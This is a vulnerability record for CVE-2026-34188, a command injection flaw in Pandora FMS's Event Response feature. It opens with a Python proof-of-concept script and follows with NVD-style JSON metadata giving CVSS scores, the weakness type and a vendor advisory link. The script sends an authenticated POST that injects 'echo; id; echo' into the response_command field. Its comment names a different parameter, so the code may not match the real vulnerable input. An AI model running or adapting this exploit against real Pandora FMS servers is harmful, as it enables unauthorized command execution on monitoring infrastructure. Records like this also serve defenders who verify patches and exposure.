CVE-2026-34188

# PoC for CVE-2026-34188: Pandora FMS OS Command Injection # This script demonstrates OS command injection via Event Response. # Requires valid high-privileged session. import requests target = "http://pandorafms-target.com/pandora_console" session_cookie = "valid_admin_session_id_here" # Malicious payload to execute 'id' command # The parameter 'command_to_execute' represents the vulnerable input in Event Response payload = "echo; id; echo" # Construct the POST request to the vulnerable endpoint url = f"{target}/index.php?sec=eventum&sec2=operation/events/event_response" data = { "action": "run", "response_command": payload # Injected payload } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=data, headers=headers) if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Response:") print(response.text) except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-34188", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:27.487", "lastModified": "2026-04-22T14:29:48.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an OS Command vulnerability allows OS Command Injection via Event Response execution. This issue affects Pandora FMS: from 777 through 800"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:C/RE:M/U:Amber", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "NO", "Recovery": "USER", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:artica:pandora_fms:*:*:*:*:*:*:*:*", "versionStartIncluding": "777", "versionEndExcluding": "800.1", "matchCriteriaId": "DE3FD946-C9BB-47A3-9AE7-F958869B9278"}]}]}], "references": [{"url": "https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}